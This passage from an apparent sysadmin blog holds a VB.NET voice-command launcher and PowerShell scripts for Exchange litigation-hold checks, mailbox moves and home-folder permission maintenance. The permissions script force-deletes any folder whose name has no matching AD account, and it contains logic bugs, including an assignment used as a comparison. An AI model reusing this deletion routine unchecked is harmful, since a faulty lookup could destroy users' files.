                'Not hex value so add the chars to string builder.
                sb.Append(c)
            Else
                'Convert hex value to char value.
                CharVal = Int("&H" & Source(x + 1) & Source(x + 2))
                'Add the chars to string builder.
                sb.Append(Chr(CharVal))
                'INC by 2
                x += 2
            End If
        Next

        'Return the string.
        Return sb.ToString()

    End Function
    ' Main
    WithEvents DictationRecognition As SpeechRecognitionEngine
    Dim IsDicatating As Boolean = False
    Private Sub sre_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs)
        Dim txt As String = e.Result.Text
        Dim confidence As Single = e.Result.Confidence
        Console.WriteLine(Convert.ToString(vbLf & "Recognized: ") & txt)
        If confidence < 0.7 Then
            Return
        End If

        If txt.IndexOf("dictat") >= 0 Then
            Dim words As String() = txt.Split(" "c)
            Select Case words(1)
                Case "on"
                    IsDicatating = True
                    sre.UnloadAllGrammars()
                    Dim ch_StartStopCommands As New Choices()
                    ch_StartStopCommands.Add("dictate off")
                    Dim gb_StartStop As New GrammarBuilder()
                    gb_StartStop.Append(ch_StartStopCommands)
                    Dim g_StartStop As New Grammar(gb_StartStop)
                    'sre.LoadGrammarAsync(g_StartStop)

                    DictationRecognition = New SpeechRecognitionEngine(New System.Globalization.CultureInfo("en-US"))

                    Dim dg As New DictationGrammar("grammar:dictation")
                    dg.Name = "default dictation"
                    dg.Enabled = True
                    DictationRecognition.LoadGrammar(dg)
                    DictationRecognition.SetInputToDefaultAudioDevice()
                    DictationRecognition.RecognizeAsync(RecognizeMode.Multiple)
                Case "off"
                    If IsDicatating Then
                        DictationRecognition.UnloadAllGrammars()
                        DictationRecognition.Dispose()
                        LoadGrammer()
                        IsDicatating = False
                    Else
                        Return
                    End If
            End Select

        End If

        If txt.IndexOf("explorer") >= 0 Then
            Dim words As String() = txt.Split(" "c)
            Select Case words(1)
                Case "provision"
                    Process.Start("\\vmServer\c$\Program Files\proVision")
            End Select
        End If


        If txt.IndexOf("open") >= 0 Then
            Dim words As String() = txt.Split(" "c)
            Select Case words(1)
                Case "notepad"
                    Process.Start("notepad++")
                Case "datacenter"
                    Process.Start("https://mydatacenter/")
                Case "prtg"
                    Process.Start("https://prtg/")
                Case "nagios"
                    Process.Start("https://nagios/")
                Case "cacti"
                    Process.Start("https://cacti")
                Case "eye es portal"
                    Process.Start("https://isportal/")
                Case "infoblox"
                    Process.Start("https://infoblox/ui/")
                Case "command"
                    Process.Start("cmd")
            End Select
        End If

        If txt.IndexOf("rdp") >= 0 Then
            Dim words As String() = txt.Split(" "c)
            If words.Length = 5 Then
                words(3) = words(3).Substring(0, 1) & words(4)
            End If
            Dim MyCreated As String = "mstsc /v:" & words(1) & words(2) & words(3) & " /f"
            Process.Start("mstsc", "/v:" & words(1) & words(2) & words(3) & " /f")
        End If

        If txt.IndexOf("treesize") >= 0 Then
            Dim words As String() = txt.Split(" "c)
            If words.Length = 6 Then
                words(3) = words(3).Substring(0, 1) & words(4)
                Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" & words(1) & words(2) & words(3) & "\" & words(5) & "$")
            Else
                Process.Start("C:\Program Files\JAM Software\TreeSize Professional\TreeSize.exe", "\\" & words(1) & words(2) & words(3) & "\" & words(4) & "$")
            End If


        End If

        If txt.IndexOf("speech on") >= 0 Then
            Console.WriteLine("Speech Is now ON")
            speechOn = True
        End If
        If txt.IndexOf("speech off") >= 0 Then
            Console.WriteLine("Speech Is now OFF")
            speechOn = False
        End If
        If speechOn = False Then
            Return
        End If
        If txt.IndexOf("klatu") >= 0 AndAlso txt.IndexOf("barada") >= 0 Then
            DirectCast(sender, SpeechRecognitionEngine).RecognizeAsyncCancel()
            done = True
            Console.WriteLine("(Speaking: Farewell)")
            ss.Speak("Farewell")
        End If
        If txt.IndexOf("What") >= 0 AndAlso txt.IndexOf("plus") >= 0 Then
            Dim words As String() = txt.Split(" "c)
            Dim num1 As Integer = Integer.Parse(words(2))
            Dim num2 As Integer = Integer.Parse(words(4))
            Dim sum As Integer = num1 + num2
            Console.WriteLine("Test")
            Console.WriteLine("Speaking: " & words(2) & " plus " & words(4) & " equals " & sum & ")")
            ss.SpeakAsync(words(2) & " plus " & words(4) & " equals " & sum)
        End If
    End Sub

    Private Sub DictationRecognition_SpeechRecognized(sender As Object, e As SpeechRecognizedEventArgs) Handles DictationRecognition.SpeechRecognized
        Debug.WriteLine("SpeechRecognized: " & e.Result.Confidence & " - " & e.Result.Text)
        If e.Result.Confidence > 0.55 Then
            System.Windows.Forms.SendKeys.SendWait(e.Result.Text)
        End If

    End Sub

    Private Sub DictationRecognition_SpeechDetected(sender As Object, e As SpeechDetectedEventArgs) Handles DictationRecognition.SpeechDetected
        Debug.WriteLine("SpeechDetected: " & e.AudioPosition.Seconds)
    End Sub

    Private Sub DictationRecognition_RecognizeCompleted(sender As Object, e As RecognizeCompletedEventArgs) Handles DictationRecognition.RecognizeCompleted
        Debug.WriteLine("RecognizeCompleted: " & e.Result.Confidence & " - " & e.Result.Text)
    End Sub

    Private Sub DictationRecognition_SpeechHypothesized(sender As Object, e As SpeechHypothesizedEventArgs) Handles DictationRecognition.SpeechHypothesized
        Debug.WriteLine("SpeechHypothesized: " & e.Result.Confidence & e.Result.Text)
    End Sub

    Private Sub DictationRecognition_SpeechRecognitionRejected(sender As Object, e As SpeechRecognitionRejectedEventArgs) Handles DictationRecognition.SpeechRecognitionRejected
        Debug.WriteLine("SpeechRecognitionRejected: " & e.Result.Text)
    End Sub

    Private Sub DictationRecognition_LoadGrammarCompleted(sender As Object, e As LoadGrammarCompletedEventArgs) Handles DictationRecognition.LoadGrammarCompleted
        Debug.WriteLine("Grammer Completed: " & e.Grammar.Name)
    End Sub
End Module

Powershell: Crafting a powershell script to check for Litigation Hold

October 31, 2018

#Error Code List
# 0 No Litigation Hold
# 1 Litigation Hold
#Param must be the first executable line
[CmdletBinding()]
Param(
    [string] $EID = "SamAccountName" #Eid to check for Litigation Hold
 )
#Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host #You cannot use this with Param
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010
try
{
    $Onhold = get-mailbox $EID
    if ($Onhold -eq $null)
    {
        Write-Host "Powershell: No mailbox located for this user!"
        exit 0
    }

    if ($Onhold.LitigationHoldEnabled -eq $false)
    {
        Write-Host "Powershell: This box is NOT on hold!"
        exit 0
    }
    else
    {
        Write-Host "Powershell: This box is on hold!"
        exit 1
    }
}
catch
{
    $_
    $_.Exception.Message
    $_.Exception.ItemName
    Write-Host "Powershell: Exception for " + $EID + "!"
    exit 1
}

I’ll let myself in

October 23, 2018

So this weekend I ended up doing some research and video blogging and I came across this gem. Got to say it was a very interesting and eye-opening 45-minute video for those who like physical security.
https://www.youtube.com/watch?v=rnmcRTnTNC8

Powershell Viewing and Moving users from Exchange Database to another Database

October 12, 2018

A little nifty Powershell script I threw together to move users around as they get promoted to allow them to have larger inbox quotas. =)

Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host 

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010

foreach($line in get-content "\\Server\Exports\Feed.txt")
{
    if (![string]::IsNullOrWhiteSpace($line))
    {
        $recipients = $line -split [RegEx]::Escape("|")
        Try
        {
            $EID = $recipients[1].trim()
            $EmpType = $recipients[17].trim()

            $User = Get-ADUser -LDAPFilter "(sAMAccountName=$EID)" -Properties Mail
            If ($User.mail -eq $Null) 
            {
                continue
            }


            $Mb = Get-Mailbox -Identity $EID 

            if (-not $Mb)
            {
                continue
            }

            if ($EmpType -eq "DIR")
            {
                if ($Mb.Database -ne "DB04" -and $Mb.Database -ne "DBA07")
                {
                    Write-Host $EID $EmpType $Mb.Database
                    New-MoveRequest -Identity $EID -TargetDatabase "DBA04" -WhatIf
                }
            }

            if ($EmpType -eq "ELT")
            {
                if ($Mb.Database -ne "DB07")
                {
                    Write-Host $EID $EmpType $Mb.Database
                    New-MoveRequest -Identity $EID -TargetDatabase "DBA07" -WhatIf
                }
            }
        }
        catch
        {
        }
    }
}

Basic Analysis: Circle of 5th Major and Minor Scales

October 11, 2018

So during my practice of my Sonatina, I was in the Key of G Major, I was doing some deep thinking on converting it to its Parallel and Relative Keys, In this case, G Minor and D Minor. During this example, I thought on how that is the near order of the Major Scale. So normally when you translate from one key to another you can just walk down or up depending on which way you are converting 3 Simitones to your Relative key. I made a grid so you can see the pattern that starts to develop!

Powershell: Maintaining Correct Permissions on a fileshare and Purging Old Data

October 10, 2018

Here is a copy of a nice little powershell script I threw together to help maintain permissions on servers.

Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); Clear-Host

$RootFSPath = "G:\users3"

Function GetFolderACL([string]$User, [bool]$Recursive) 
{
    $filePath = "$RootFSPath\$User"
    #Get-Acl -Path $filePath | Format-List
    $filePathacl = Get-Acl -Path $filePath
    if ($Recursive -eq $True)
    {
        $folders = Get-ChildItem $filePath -Recurse #-Directory
        foreach ($folder in $folders)
        {
            #Get-Acl -Path $folder.FullName | Format-List
            foreach ($access in $filePathacl.Access) 
            {
                if ($access.IdentityReference.Value -eq "YourDomain\$user" -and $access.FileSystemRights -eq "Modify, Synchronize") 
                {
                    continue
                }
                if ($access.IdentityReference.Value -eq "NT AUTHORITY\SYSTEM" -and $access.FileSystemRights -eq "FullControl") 
                {
                    continue
                }
                if ($access.IdentityReference.Value -eq "BUILTIN\Administrators" -and $access.FileSystemRights -eq "FullControl") 
                {
                    continue
                }
                if ($access.IdentityReference.Value -eq "YourDomain\Domain Admins" -and $access.FileSystemRights -eq "FullControl") 
                {
                    continue
                }
                Write-Host $access.IdentityReference $access.FileSystemRights
            }
        }
    }
}

Function GetFolderACLRecursive([string]$filePath, [string]$User,[bool]$Recursive) 
{

    if ($Recursive -eq $True)
    {
        $folders = Get-ChildItem $filePath -Recurse -Directory
        foreach ($folder in $folders)
        {
            GetFolderACLRecursive $folder.PSPath $true
        }
    }

    [bool]$UserPerm = $false
    [bool]$SystemPerm = $false
    [bool]$AdminPerm = $false
    [bool]$DomainAdminPerm = $false

    $Searcher = [ADSISearcher]"(sAMAccountName=$folder)"
    $Results = $Searcher.FindOne()

    If ($Results -eq $Null) 
    {
        if ($filePath -ne "$RootFSPath\")
        {
            #try your best not to wak the parent folder due to Hr's typeo's ;)
            Write-Host "$folder does not exist in AD, $filePath can be deleted... Deleting"
            Remove-Item –path $filePath –recurse -force
            $UserPerm = $true
        }
    }
    else #If they do exit check the ACLS
    {
        $filePathacl = Get-Acl -Path $filePath
        foreach ($access in $filePathacl.Access) 
        {
            if ($access.IdentityReference.Value -eq "YourDomain\$User" -and $access.FileSystemRights -eq "Modify, Synchronize") 
            {
                $UserPerm = $true
                continue
            }
            if ($access.IdentityReference.Value -eq "NT AUTHORITY\SYSTEM" -and $access.FileSystemRights -eq "FullControl") 
            {
                $SystemPerm = $true
                continue
            }
            if ($access.IdentityReference.Value -eq "BUILTIN\Administrators" -and $access.FileSystemRights -eq "FullControl") 
            {
                $AdminPerm = $true
                continue
            }
            if ($access.IdentityReference.Value -eq "YourDomain\Domain Admins" -and $access.FileSystemRights -eq "FullControl") 
            {
                $DomainAdminPerm = $true
                continue
            }

            Write-Host $filePath.PadRight(15) $access.IdentityReference $access.FileSystemRights 
        }

        if ($SystemPerm -eq $false)
        {
            Write-Host "Missing System Permission to $filePath"
        }

        if ($AdminPerm -eq $false)
        {
            Write-Host "Missing Admin Permission to $filePath"
        }

        if ($DomainAdminPerm -eq $false)
        {
            Write-Host "Missing DominAdmin Permission to $filePath"
        }

        if (($UserPerm -eq $false) -or ($SystemPerm -eq $false) -or ($AdminPerm -eq $false) -or ($DomainAdminPerm = $false))
        {
            return $false
        }
    }
}

Function SetFolderACL([string]$User, [bool]$Recursive, [bool]$EnableInheritance, [bool]$DisableInheritance) 
{  
    $filePath = "$RootFSPath\$User"
    $filePathacl = Get-Acl -Path $filePath

    if ($EnableInheritance -eq $True) #This should not happen if we are looking to disable Inheritance, We want to remove it from the parent folder last below in this code.
    {
        foreach ($access in $filePathacl.Access) 
        {
            #if ($access.IdentityReference.Value -eq $user) {
                #$acl.RemoveAccessRule($access) | Out-Null
                $filePathacl.RemoveAccessRule($access)
            #}
        }

        $filePathacl.SetAccessRuleProtection($false,$false)
        Set-Acl -Path $filePath -AclObject $filePathacl
    }

    if ($Recursive -eq $True)
    {
        $folders = Get-ChildItem $filePath -Recurse #-Directory
        foreach ($folder in $folders) 
        {
            $acl = Get-Acl -Path $folder.FullName

            Write-Host $folder.FullName

            if ($EnableInheritance -eq $True)
            {
                $acl.SetAccessRuleProtection($false,$false)
                Set-Acl -Path $folder.FullName -AclObject $acl
            }
            if ($DisableInheritance -eq $True)
            {
                $acl.SetAccessRuleProtection($true,$true)
                Set-Acl -Path $folder.FullName -AclObject $acl
            }

            foreach ($access in $acl.Access) {
                #if ($access.IdentityReference.Value -eq $user) {
                    #$acl.RemoveAccessRule($access) | Out-Null
                    $acl.RemoveAccessRule($access)
                #}
            }

            Set-Acl -Path $folder.FullName -AclObject $acl

        }
    }

    if ($DisableInheritance -eq $True) #This should not happen if we are looking to disable Inheritance, We want to remove it from the parent folder last below in this code.
    {
        $filePathacl = Get-Acl -Path $filePath   
        $filePathacl.SetAccessRuleProtection($true,$true)

        foreach ($access in $filePathacl.Access) 
        {
            #if ($access.IdentityReference.Value -eq $user) {
                #$acl.RemoveAccessRule($access) | Out-Null
                $filePathacl.RemoveAccessRule($access)
            #}
        }
        Set-Acl -Path $filePath -AclObject $filePathacl
    }

    $acl = Get-Acl -Path $filePath
    $permission = "YourDomain\$user", "Modify", "ContainerInherit, ObjectInherit", "None", "Allow"
    $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
    $acl.SetAccessRule($accessRule)
    $acl | Set-Acl $filepath
} 

Function SetStrightFolderACL([string]$User, [bool]$Recursive, [bool]$EnableInheritance, [bool]$DisableInheritance) 
{
    Write-Host $folder.FullName
    $filePath = "$RootFSPath\$User"
    $filePathacl = Get-Acl -Path $filePath
    $acl = Get-Acl -Path $filePath
    $permission = "YourDomain\$user", "Modify", "ContainerInherit, ObjectInherit", "None", "Allow"
    $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
    $acl.SetAccessRule($accessRule)
    $acl | Set-Acl $filepath 
}

$folders = Get-ChildItem "$RootFSPath" #-Recurse #-Directory
foreach ($folder in $folders) 
{
    $acl = Get-Acl -Path $folder.FullName
    #Write-Host (GetFolderACLRecursive "G:\users3\$folder" $folder $false)
    $result = GetFolderACLRecursive "$RootFSPath\$folder" $folder $false
    if ($result -eq $false)
    {
        $Searcher = [ADSISearcher]"(sAMAccountName=$folder)"
        $Results = $Searcher.FindOne()
        If ($Results -eq $Null) 
        {
            #Write-Host "Users does not exist in AD"
        }
        Else 
        {
            #Write-Host "User found in AD"
            SetFolderACL $folder.Name $true $false $True #Remove Inhairtance
            SetFolderACL $folder.Name $true $true $false #Enable Inhairtance
        }        
    }
    #Write-Host $folder.FullName
    #Write-Host $folder.Name
    #GetFolderACL $folder.Name $false
    #SetStrightFolderACL $folder.Name $true $true $false #Enable Inhairtance
    #SetFolderACL $user $true $true $false #Enable Inhairtance
}

exit

#GetFolderACL $user $true
SetFolderACL $user $true $false $True #Remove Inhairtance
SetFolderACL $user $true $true $false #Enable Inhairtance

exit

SetFolderACL $user $true $false $True #Remove Inhairtance

exit

SetFolderACL $user $true $true $false #Enable Inhairtance

exit